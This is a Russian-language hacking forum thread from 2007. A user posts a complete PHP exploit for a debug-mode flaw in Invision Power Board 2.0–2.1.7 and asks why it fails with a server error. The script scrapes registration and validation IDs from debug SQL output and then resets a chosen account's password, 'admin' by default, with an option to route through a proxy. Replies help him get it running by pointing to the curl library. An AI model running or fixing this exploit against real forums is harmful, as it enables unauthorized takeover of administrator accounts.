Народ помогите с SQL Injection IPB v2.1.7

Discussion in 'PHP' started by BuM, 2 Dec 2007.

  1. BuM

    BuM New Member

    Joined:
    2 Dec 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Может кто нить сказать етот скрипт можно использывать или он недоработан?
    <?php
    /*

    Debug Mode password change vulnerability
    Affects Invision Power Borard 2.0.0 to 2.1.7
    by Rapigator

    This works if:

    "Debug Level" is set to 3
    or
    Enable SQL Debug Mode is turned on

    In General Configuration of the forum software.

    */

    // The forum's address up to and including 'index.php'
    $site = "http://localhost/forums/index.php";

    // An existing user's login name
    $name = "admin";

    // The new password(3-32 characters)
    $pass = "1234";

    // You can use a proxy...
    // $proxy = "1.2.3.4:8080";



    // -----------------------------
    $site .= "?";
    $suffix = "";
    $name = urlencode($name);
    $pass = urlencode($pass);
    $curl = curl_init($site.'act=Reg&CODE=10');
    curl_setopt($curl, CURLOPT_PROXY, $proxy);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_TIMEOUT, 10);
    $page = curl_exec($curl);
    curl_close($curl);
    if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
    $prefix = $regs[1];
    $regid = $regs[2];
    $regcode = $regs[3];
    } else {
    $suffix = "&debug=1";
    $curl = curl_init($site.'act=Reg&CODE=10'.$suffix);
    curl_setopt($curl, CURLOPT_PROXY, $proxy);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_TIMEOUT, 10);
    $page = curl_exec($curl);
    curl_close($curl);
    if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
    $prefix = $regs[1];
    $regid = $regs[2];
    $regcode = $regs[3];
    }
    }
    if (!isset($regid) || !isset($regcode)) {
    echo "Error: Probably not vulnerable, or no forum found";
    exit;
    }

    $curl = curl_init($site.$suffix);
    curl_setopt($curl, CURLOPT_PROXY, $proxy);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}");
    curl_setopt($curl, CURLOPT_TIMEOUT, 10);
    $page = curl_exec($curl);
    curl_close($curl);
    if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
    change_pass($regcode,$regid,$regs[1],$regs[2]);
    }
    if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
    change_pass($regcode,$regid,$regs[1],$regs[2]);
    }

    function change_pass($regcode,$regid,$vid,$userid) {
    global $site, $proxy, $name, $pass;
    $curl = curl_init($site.$suffix);
    curl_setopt($curl, CURLOPT_PROXY, $proxy);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}");
    curl_setopt($curl, CURLOPT_TIMEOUT, 10);
    $page = curl_exec($curl);
    curl_close($curl);
    echo "Password Changed!";
    exit;
    }
    ?>

    А то я заливаю его на хост, запускаю а он мне выдает: "HTTP 500 Внутренняя ошибка сервера"...
    Если кто знает как ето исправить то напишите
     
  2. Tukoitsr

    Tukoitsr New Member

    Joined:
    25 Nov 2007
    Messages:
    15
    Likes Received:
    3
    Reputations:
    0
    Гы... Там библиотеку Curl нада да и ваще таких форумов не найдешь...
     
  3. BuM

    BuM New Member

    Joined:
    2 Dec 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Я нашол.... вот потому и спрашиваю. А что за библиотека?
     
  4. Tukoitsr

    Tukoitsr New Member

    Joined:
    25 Nov 2007
    Messages:
    15
    Likes Received:
    3
    Reputations:
    0
    php.net поюзай)) в поиске введи "php curl" Потом делай усе по инструкции.
    полезная ссылка: русский php.net - ru2.php.net
     
  5. [aywo]

    [aywo] Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    89
    Likes Received:
    55
    Reputations:
    5
    500 Internal Server Error Внутренняя ошибка сервера. Согласно описанию HTTP/1.1, этот код выдается, когда "сервер столкнулся с неожиданными обстоятельствами, препятствующими выполнению запроса". Иначе говоря, вы ни в чем не виноваты и ничего не можете предпринять - разве что связаться с Web-мастером узла
     
  6. Tukoitsr

    Tukoitsr New Member

    Joined:
    25 Nov 2007
    Messages:
    15
    Likes Received:
    3
    Reputations:
    0
    Но я не вижу смысла етот сплоит юзать)) на форуме должен быть Debug mode включен, а такое редко найдешь=)
     
  7. BuM

    BuM New Member

    Joined:
    2 Dec 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Ясн... Одним словом в топку етот скрипт)
    Спс что хоть ответили, а то я бы се голову есчо два дня бы ломал что ето за проблема...
     
  8. Knight_of_Darkness

    Knight_of_Darkness Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    69
    Likes Received:
    68
    Reputations:
    24
    Разве в 2.1.7 есть скули? Я думаю, это до 2.1.7. не включительно
     
  9. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    даже по 2.3.3 есть скуль
     
    1 person likes this.